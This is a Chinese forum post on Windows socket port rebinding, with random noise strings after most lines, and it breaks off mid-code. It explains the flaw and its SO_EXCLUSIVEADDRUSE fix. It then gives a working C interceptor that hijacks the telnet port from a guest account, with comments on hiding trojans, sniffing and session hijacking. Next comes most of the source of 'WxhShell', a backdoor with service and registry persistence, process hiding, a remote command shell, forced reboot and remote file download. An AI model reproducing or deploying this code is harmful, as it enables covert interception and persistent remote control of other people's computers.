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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KxwLKaImI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //@=Q!MW  
9p4U\hx  
  saddr.sin_family = AF_INET; *$$V, 6O.  
jf/9]`Hf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ? $ c  
?63JQ.;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EvmmQ  
\pGO}{3 e*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y%l3SB,5L  
?&m]du#6  
  这意味着什么?意味着可以进行如下的攻击: Y7)@(7G)\  
<;e#"(7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I}IW!K  
6S[D"Q94  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >NA7,Z2.  
8|NJ(D-$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~(/HgFLLu  
p&mtKLv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I7^X;Q F  
HjS^ nYl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~{G: ,|`  
5qSZ>DZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [B @j@&  
MwqT`;lb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z;\"pP:  
D#1~]d  
  #include =Zy!',,d,9  
  #include E}9ldM=]s  
  #include +|YZEC  
  #include    "|*Kf#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B!ibE<7,  
  int main() >wO$Vu `t  
  { GTe:k  
  WORD wVersionRequested; TeCpT2!5j  
  DWORD ret; cCGXB|9fYR  
  WSADATA wsaData; bK8F |  
  BOOL val; UH-uU~  
  SOCKADDR_IN saddr; }k0-?_Z=1  
  SOCKADDR_IN scaddr; */y]!<\v!k  
  int err; Wx)U<:^e  
  SOCKET s; R 0HVLQI  
  SOCKET sc; CN~NyJL H  
  int caddsize; M03i4R@h(  
  HANDLE mt; I''R\B p  
  DWORD tid;   `{lAhZ5  
  wVersionRequested = MAKEWORD( 2, 2 ); IKzRM|/  
  err = WSAStartup( wVersionRequested, &wsaData ); D#Yx,`Ui  
  if ( err != 0 ) { 0/@ X!|X  
  printf("error!WSAStartup failed!\n"); /:{_|P\  
  return -1; Df:7P>  
  } 'Rd*X6dv  
  saddr.sin_family = AF_INET; ]'!xc9KGR  
    L|lmStwe  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6mpg&'>  
#t2UPLO~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "E)++\JL  
  saddr.sin_port = htons(23); _OU.JrqC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I,4-  
  { -jtC>_/  
  printf("error!socket failed!\n"); Sja{$zL+W  
  return -1; o;4e)tK  
  } 1m<?Q&|m$  
  val = TRUE; 3R%UPT0>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UcLNMn|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jhsv2,8 {  
  { G</I%qM  
  printf("error!setsockopt failed!\n"); SU%rWH  
  return -1; s w.AfRQP  
  } O(D5A?tv!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7XVzd]jH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ly)(_Tp@+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k'ZUBTRq!  
N`<4:v[P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &H4uvJ_<  
  { !q$&JZY  
  ret=GetLastError(); ?l, X!o6  
  printf("error!bind failed!\n"); MO~~=]Y'  
  return -1; 5Hwo)S]r  
  } S@}B:}2  
  listen(s,2); v=*Bb3dt  
  while(1) +-aU+7tu  
  { r!.+XrYg  
  caddsize = sizeof(scaddr); hk@`N;dn  
  //接受连接请求 fEj9R@u+h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 50`iCD  
  if(sc!=INVALID_SOCKET) Ac[|MBaF  
  { p`ADro*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m +Q5vkW  
  if(mt==NULL) HCJ8@nki  
  { 5"kx}f2$  
  printf("Thread Creat Failed!\n"); ke}Y 2sB  
  break; :J Gl>V  
  } {}g %"mi#  
  } bvip bf[m<  
  CloseHandle(mt); i!Dh &XT  
  } coF T2Pq  
  closesocket(s); oI_oz0nHk  
  WSACleanup(); DIG0:)4R.  
  return 0; 9U|<q  
  }   1iNsX\M  
  DWORD WINAPI ClientThread(LPVOID lpParam) qukjS#>+  
  { }iua] 4 |  
  SOCKET ss = (SOCKET)lpParam; )@Zc?Da  
  SOCKET sc; Jt2,LL:G  
  unsigned char buf[4096]; rb:<N%*t  
  SOCKADDR_IN saddr; v}F4R $  
  long num; +X:J]- 1)  
  DWORD val; 9Hf*cQ  
  DWORD ret; cxXbo a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <I7(eh6d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Yzj%{fkh  
  saddr.sin_family = AF_INET; ;RWW+x8IB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xdd:yrC   
  saddr.sin_port = htons(23); Hva2j<h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x7 "z(rKl  
  { [3j$ 4rP  
  printf("error!socket failed!\n");  6R;)  
  return -1; @72x`&|I?u  
  } N@Xg5huO  
  val = 100; ";PG%_(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8To7c  
  { :O9P(X*  
  ret = GetLastError(); wVgi+P  
  return -1; EHpu*P~W  
  } uu}a:qrY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6xQ"bFm  
  { bnijM/73  
  ret = GetLastError(); +w "XNl  
  return -1; <1aa~duT  
  } 7w "sJ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "A%MVym."  
  { UhsO\9}qH  
  printf("error!socket connect failed!\n"); ZV!R#Xv  
  closesocket(sc); 6#<Ir @z  
  closesocket(ss); qE>i,|rP`  
  return -1; I+0c8T(:  
  } fO*)LPen.z  
  while(1) y0,Ft/D  
  { saatU;V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A?e,U,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X(IyvfC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P,(9cyS{  
  num = recv(ss,buf,4096,0); %fHH{60  
  if(num>0) 8{oZi]ob  
  send(sc,buf,num,0); 4Mk8Cpz  
  else if(num==0) Iq+2mQi*/k  
  break; s4 (Wp3>3i  
  num = recv(sc,buf,4096,0); y'^F,WTM  
  if(num>0) y)P&]&"?  
  send(ss,buf,num,0); aZ$/<|y~:_  
  else if(num==0) $u:<x  
  break; 8pqs?L@W  
  } A*hZv|$0  
  closesocket(ss); ^Sw2xT$p{j  
  closesocket(sc); UanEzx%  
  return 0 ; U<Vy>gIC  
  } }@wVW))6$  
j(sLK &  
Z%#^xCz;w>  
========================================================== *m*`}9  
<P- $RX  
下边附上一个代码,,WXhSHELL  012Lwd  
C#0brCQq3  
========================================================== VrVDm*AGQ  
}"hW b(  
#include "stdafx.h" sMP:sCRC  
^CUSlnB\(  
#include <stdio.h> 4h;4!I|  
#include <string.h> guU=NQZ  
#include <windows.h> t ^m~  
#include <winsock2.h> Y17hOKc`  
#include <winsvc.h> "TfI+QgLF  
#include <urlmon.h> ZNi +Aw$u  
?IILt=)<  
#pragma comment (lib, "Ws2_32.lib") J smB^  
#pragma comment (lib, "urlmon.lib") T<P0T<  
k=`$6(>Fz  
#define MAX_USER   100 // 最大客户端连接数 BX*69  
#define BUF_SOCK   200 // sock buffer Fwb5u!_,  
#define KEY_BUFF   255 // 输入 buffer X &D{5~qC  
cAb>2]M5V  
#define REBOOT     0   // 重启 6lsEGe  
#define SHUTDOWN   1   // 关机 1 DqX:WM6  
eeW`JG-E  
#define DEF_PORT   5000 // 监听端口 [X<Pk  
ya.n'X14  
#define REG_LEN     16   // 注册表键长度 J'e]x[Y  
#define SVC_LEN     80   // NT服务名长度 ALXTR%f  
Lc|{aN  
// 从dll定义API 5rloK"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }RIU8=P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >La><.z~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6Hk="$6K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {jW%P="z$"  
<: :VCA%  
// wxhshell配置信息 RkA8  
struct WSCFG {  L=]p_2+  
  int ws_port;         // 监听端口 '#q4Bc1  
  char ws_passstr[REG_LEN]; // 口令 /P:EWUf'  
  int ws_autoins;       // 安装标记, 1=yes 0=no :RiF3h(  
  char ws_regname[REG_LEN]; // 注册表键名 y^R4I_* z  
  char ws_svcname[REG_LEN]; // 服务名 0e16Ow6\!1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |@wyC0k!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aCl A{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  R%"K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kAo.C Nj7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  Gq1)1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 to`mnp9Z  
]Lm'RlV  
}; y`S o&:1  
~KPv7WfG  
// default Wxhshell configuration ),` 8eQC  
struct WSCFG wscfg={DEF_PORT, $(rc/h0/E  
    "xuhuanlingzhe", v@n_F  
    1, <#*.}w~  
    "Wxhshell", 2w?hgNz  
    "Wxhshell", z:}nBCmLV  
            "WxhShell Service", +qy6d7^  
    "Wrsky Windows CmdShell Service", pO]8 dE0  
    "Please Input Your Password: ", IPtvuEju\  
  1, [Y8S[YY  
  "http://www.wrsky.com/wxhshell.exe", e.8$ga{  
  "Wxhshell.exe" {v,)G)obWw  
    }; |<c WllN  
9]7u _  
// 消息定义模块 :m ZYS4L~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |8U;m:AS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #|f~s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =J/FJb  
char *msg_ws_ext="\n\rExit."; H M:r0_  
char *msg_ws_end="\n\rQuit."; +>tUz D  
char *msg_ws_boot="\n\rReboot..."; G%:G eW  
char *msg_ws_poff="\n\rShutdown..."; K 1W].(-@4  
char *msg_ws_down="\n\rSave to "; rQr!R$t/[  
GLUUY0  
char *msg_ws_err="\n\rErr!"; G5Ykbw#  
char *msg_ws_ok="\n\rOK!"; 6gU{(H   
 v~=\H  
char ExeFile[MAX_PATH]; r,NgG!zq<  
int nUser = 0; /.Q4~Hw%}  
HANDLE handles[MAX_USER]; iqPBsIW  
int OsIsNt; 2*1ft>Uty  
orfp>B) 0  
SERVICE_STATUS       serviceStatus; "pvH0"Q*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [Qj;/  
5o 0Ch  
// 函数声明 nc?B6IV  
int Install(void); ,={t8lN  
int Uninstall(void); {y-^~Q"z  
int DownloadFile(char *sURL, SOCKET wsh); -t-tn22  
int Boot(int flag); 5kMWW*Xtf  
void HideProc(void); | C+o;  
int GetOsVer(void); +!yX T C  
int Wxhshell(SOCKET wsl); 'jfRt-_-  
void TalkWithClient(void *cs); m9":{JI.w  
int CmdShell(SOCKET sock); /'wF2UR  
int StartFromService(void); n}nEcXb  
int StartWxhshell(LPSTR lpCmdLine); VaLs`q&3>  
qoX@@xr1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >)**khuP7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,o#kRWRG  
r'4:)~]s  
// 数据结构和表定义 K$[$4 dX]  
SERVICE_TABLE_ENTRY DispatchTable[] = Q[u6|jRt  
{ p]T"|!d  
{wscfg.ws_svcname, NTServiceMain}, 1hmc,c  
{NULL, NULL} [f{VIE*?%  
}; Xm!-~n@-m7  
Wf26  
// 自我安装 '7 )"  
int Install(void) !0}\&<8/m  
{ <48<86TP  
  char svExeFile[MAX_PATH]; 0L-!! c3  
  HKEY key; zI;0&  
  strcpy(svExeFile,ExeFile); q3w1GD  
ULqoCd%bK  
// 如果是win9x系统,修改注册表设为自启动 nsuX*C7  
if(!OsIsNt) { TnH\O$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nt :N!suP3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ud(`V:d  
  RegCloseKey(key); pdVQ*=c?M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {6Au3gt/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ey `h1 Y  
  RegCloseKey(key); aX6}6zubr  
  return 0; 7jG(<!,  
    } |oFAGP1  
  } z j{s}*  
} $jzFc!rs  
else { R9o-`Wz  
Gh( A%x)  
// 如果是NT以上系统,安装为系统服务 `` K#}3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W;_E4  
if (schSCManager!=0) YwDt.6(+,  
{  #ToK$8  
  SC_HANDLE schService = CreateService !36]ud&  
  ( Y3U9:VB  
  schSCManager, n# 7Pr/*0  
  wscfg.ws_svcname, PAF8W lg  
  wscfg.ws_svcdisp, ^A_;#vK  
  SERVICE_ALL_ACCESS, S ZU \i*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V-yUJ#f8[  
  SERVICE_AUTO_START, m_NCx]#e   
  SERVICE_ERROR_NORMAL, mEAXM 1J|  
  svExeFile, L:&k(YOBA  
  NULL, 3lxc4@Zmd  
  NULL, *ZCn8m:-+  
  NULL, o*S"KX $  
  NULL, BOVPKX  
  NULL 9J-b6,  
  ); 2-+f1,  
  if (schService!=0) %yS3&Ju  
  { :D:DnVZ-[@  
  CloseServiceHandle(schService); -0uV z)  
  CloseServiceHandle(schSCManager); @z`@f"l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5g5'@vMN  
  strcat(svExeFile,wscfg.ws_svcname); 5jcte< 5I_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q;/a F`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8MwK.H[U  
  RegCloseKey(key); [5d2D,)  
  return 0; #/S {6c  
    } %3Z/+uT@v]  
  } mh/n.*E7  
  CloseServiceHandle(schSCManager); \%jVg\4 '  
} :Ixx<9c.  
} 2\D8.nQr  
E+95WF|4k"  
return 1; u,. 3  
} D@ek9ARAq  
32)tJ|m  
// 自我卸载 |,C#:"z;  
int Uninstall(void) lEjwgk {  
{ A#wEuX=[  
  HKEY key; sY SLmUZ{  
QP@<)`1t9  
if(!OsIsNt) { jdA ]2]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gxNL_(A  
  RegDeleteValue(key,wscfg.ws_regname); YvL?j  
  RegCloseKey(key); <i\A_qqc/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g2cVZ!GIj  
  RegDeleteValue(key,wscfg.ws_regname); I<oL}f  
  RegCloseKey(key); ~EiH-z4U  
  return 0; Dr<='Ux[5  
  } QbFHfA2Ij  
} y^>Q/H\  
} j V3)2C}  
else { c~}l8M %  
U%<rn(xWXD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^Mkk@F&1  
if (schSCManager!=0) Njc%_&r  
{ IXLO>>`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z`Wt%tL(  
  if (schService!=0) &7mW9]  
  { E\7m< 'R  
  if(DeleteService(schService)!=0) { UKd'+R]  
  CloseServiceHandle(schService); nwI3|&  
  CloseServiceHandle(schSCManager); $"JpFT  
  return 0; /lhz],w  
  } X?r48l??  
  CloseServiceHandle(schService); RrrK*Fk8=  
  } |H}sYp  
  CloseServiceHandle(schSCManager); E8\XNG)V4  
} q-$`k  
} RSfM]w}Hq#  
4p`XG1Pt  
return 1; .\Fss(Zn  
} 9;t]Hp_+K  
yGBQ0o7E  
// 从指定url下载文件 S:Q! "U  
int DownloadFile(char *sURL, SOCKET wsh) B1 0+*p(  
{ ZM#=`k9  
  HRESULT hr; FwAKP>6*  
char seps[]= "/"; or*HC&c7  
char *token; le)DgIT>=  
char *file; }ucIH@U{  
char myURL[MAX_PATH]; ihe(F7\U  
char myFILE[MAX_PATH]; CJknJn3m&  
gT+Bhr  
strcpy(myURL,sURL); O>y'Nqz  
  token=strtok(myURL,seps); q z&+=d@  
  while(token!=NULL) . 9G<y 4  
  { !cW[G/W8  
    file=token; E|EgB33S  
  token=strtok(NULL,seps); H!IshZfktn  
  } V\~WvV  
\t4tiCw  
GetCurrentDirectory(MAX_PATH,myFILE); m*0,s  
strcat(myFILE, "\\"); r`\A nT?  
strcat(myFILE, file); faXx4A2"  
  send(wsh,myFILE,strlen(myFILE),0); ^4Am %yyT  
send(wsh,"...",3,0); a~LC+8|JW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i8X`HbmN  
  if(hr==S_OK) KU9Z"9#  
return 0;  4-Z()F  
else Btt]R  
return 1; 9.O8/0w7LV  
4 {GU6v)f  
} Y$8JM  
R>@uY( >dJ  
// 系统电源模块 VObrlOkp  
int Boot(int flag) XEM'}+d  
{ \kam cA  
  HANDLE hToken; &fP XU*l4  
  TOKEN_PRIVILEGES tkp; N[|Nxm0z/C  
u'A#%}3  
  if(OsIsNt) { V_n<?9^4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JWP*>\P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l7[7_iB&E  
    tkp.PrivilegeCount = 1; JOn yrks  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U_yE& 6 T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H&}ipaDO  
if(flag==REBOOT) { 4A`NJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H( ^bC5'  
  return 0; \[2lvft!  
} I8   
else { >cmE t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F9q8SA#"  
  return 0; p\v Mc\  
} o/cjXun*  
  } a@d=>CT$  
  else { 3*S{;p  
if(flag==REBOOT) { 8t"~Om5sG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y]`.InG@  
  return 0; !{^\1QK  
} -]G(ms;}/Y  
else { \g)Xt?w0Wo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !7B\Xl'S  
  return 0; wt }9B[  
} 7Ob*Yv=[  
} 96Wp!]*  
k5d\ w@G"~  
return 1; N^?9ZO   
} lVH<lp_ZtK  
w[Gh+L30=5  
// win9x进程隐藏模块 or ;f&![w  
void HideProc(void) ?@6b>='!  
{ i@"e,7mSG  
Z@D*1\TG=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); em@EDMvI  
  if ( hKernel != NULL ) [Bb utGvj  
  { e59dVFug.U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Si}HX!s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <g8K})P  
    FreeLibrary(hKernel); 7J$b$P0}  
  } Nf,Z;5e  
`rY2up#%  
return; {C*\O)Gep  
} DsDzkwJE  
2+8#H.  
// 获取操作系统版本 DdV'c@rq+  
int GetOsVer(void) WUdKLx %F  
{ ][PzgzG  
  OSVERSIONINFO winfo; OIb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cRvvzX  
  GetVersionEx(&winfo); 1-SVCk -  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dm rps+L  
  return 1; >gtQw!  
  else 3ucP(Ex@tg  
  return 0; Ru!He,k7  
} w6|9|f/  
Weoj|0|t  
// 客户端句柄模块 1tzV8(7  
int Wxhshell(SOCKET wsl) > Vb@[  
{ >/f_F6ay#  
  SOCKET wsh; EER`?Sa(  
  struct sockaddr_in client; M s9E@E  
  DWORD myID; k4J8O3E  
z:Sigo_z[  
  while(nUser<MAX_USER) !%mAh81{&/  
{ y2HxP_s?P?  
  int nSize=sizeof(client); |8_JY2 R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C z#Z<:  
  if(wsh==INVALID_SOCKET) return 1; fr6^nDY  
R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FwKj+f"  
if(handles[nUser]==0) `WEZ"5n  
  closesocket(wsh); a[bBT@f  
else ! {,F~i9  
  nUser++; }'"Gr%jf(  
  } rf+:=|/_3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [a[/_Sf{  
K?x,T8<aW  
  return 0; Id'RL2Kq*&  
} {'+Q H)w(  
6Sj6i^"  
// 关闭 socket ;.s l*q1A  
void CloseIt(SOCKET wsh) }S-DB#6  
{ FX <b:#  
closesocket(wsh); Wx'Kp+9'  
nUser--; p4>$z& _  
ExitThread(0); u),Qa=Wp  
} A?Qa 4i  
!M<{E*  
// 客户端请求句柄 WnFG{S{s  
void TalkWithClient(void *cs) 6Z?j AXGSq  
{ jdeV|H} u  
S/vf'gj  
  SOCKET wsh=(SOCKET)cs; X#a`K]!B  
  char pwd[SVC_LEN]; [mxTa\  
  char cmd[KEY_BUFF]; [ //R~i?  
char chr[1]; G}@#u9  
int i,j; %m5Q"4O  
C.:=lo B  
  while (nUser < MAX_USER) { u D 5%E7  
`7aDEzmJ  
if(wscfg.ws_passstr) { g_*T?;!.U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ OJyN,A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "bg'@:4F  
  //ZeroMemory(pwd,KEY_BUFF); 3XiO@jzre  
      i=0; m^%|ZTrwN7  
  while(i<SVC_LEN) { h 6G/O`:  
SQsSa1  
  // 设置超时 bok.j  
  fd_set FdRead; `D( xv  
  struct timeval TimeOut; 39U5jj7i  
  FD_ZERO(&FdRead); fa* Cpt:  
  FD_SET(wsh,&FdRead); T@wcHg  
  TimeOut.tv_sec=8; M x5`yT7  
  TimeOut.tv_usec=0; ;P&y,:<m:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $$i. O}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {cK^,?x  
kID[#g'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &Wp8u#4L  
  pwd=chr[0]; E9j+o y  
  if(chr[0]==0xd || chr[0]==0xa) { V{-AP=C7  
  pwd=0; n6WY&1ZE~  
  break; 6SJ"Tni8  
  } _eSd nHWx  
  i++; ,?UM;^  
    } P47V:E%  
Bsf7mcXz7z  
  // 如果是非法用户,关闭 socket 6q<YJ.,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4!62/df  
} }F6<w{|  
148V2H)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kEeo5X N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rsn.4P=  
$lIWd  
while(1) { .@)mxC:\K9  
yZ]:y-1  
  ZeroMemory(cmd,KEY_BUFF); D'<VYl"/  
t22;87&|  
      // 自动支持客户端 telnet标准   XKL3RMF9r  
  j=0; sML=5=otx  
  while(j<KEY_BUFF) { g3n'aD@'x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1[F3 Z  
  cmd[j]=chr[0]; %A1@&xrbl  
  if(chr[0]==0xa || chr[0]==0xd) { Mk 0+D#  
  cmd[j]=0; )"(]Lf's  
  break; |!|^ v  
  } Xy,lA4IP  
  j++; yfQ5:X  
    } E "iUq  
/StTb,  
  // 下载文件 @tohNO>  
  if(strstr(cmd,"http://")) { F+ <Z<q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $yDWu"R8  
  if(DownloadFile(cmd,wsh))  @4d)R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zIC;7 5#  
  else nZ1zJpBmI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( GnuWc\p  
  } _CBWb  
  else { UrlM%Jnq1  
5 hj  
    switch(cmd[0]) { 7`vEe 'qz  
  6h?gs"[j  
  // 帮助 gXT9 r' k  
  case '?': { N qHy%'R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5wB =>  
    break; *,C(\!b !?  
  } -\ZcOXpMx=  
  // 安装 7qOa ;^T  
  case 'i': { #&<)! YY5  
    if(Install()) +h^jC9,m~{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !IU.a90V  
    else 682Z}"I0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~"pKe~h   
    break; 3K&4i'}V  
    } spU)]4P&  
  // 卸载 7A\Cbu2tf  
  case 'r': { ^2d!*W|  
    if(Uninstall()) -U~   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 &/v]  
    else 65 z"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sb:d>6  
    break; rWys'uc  
    } ^ PI5L  
  // 显示 wxhshell 所在路径 t$2_xX  
  case 'p': { sAo& uZ  
    char svExeFile[MAX_PATH]; 4${jr\q]  
    strcpy(svExeFile,"\n\r"); Yw5'6NU  
      strcat(svExeFile,ExeFile); 1}hIW":3Sr  
        send(wsh,svExeFile,strlen(svExeFile),0); ~/NKw:  
    break; s &Dg8$  
    } hLJM%on  
  // 重启 Vc^HVyAx@n  
  case 'b': { [' z[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,Vd\m"K{  
    if(Boot(REBOOT)) Nu8Sr]p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bNT9 H`P  
    else { _'4A|-9  
    closesocket(wsh); %0#1t 5g  
    ExitThread(0); 86@c't@  
    } js1!9%BV  
    break; (mxT2"fC  
    } I%|>2}-_U  
  // 关机 2|\A7.  
  case 'd': { OY[e.N t&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  u66XN^  
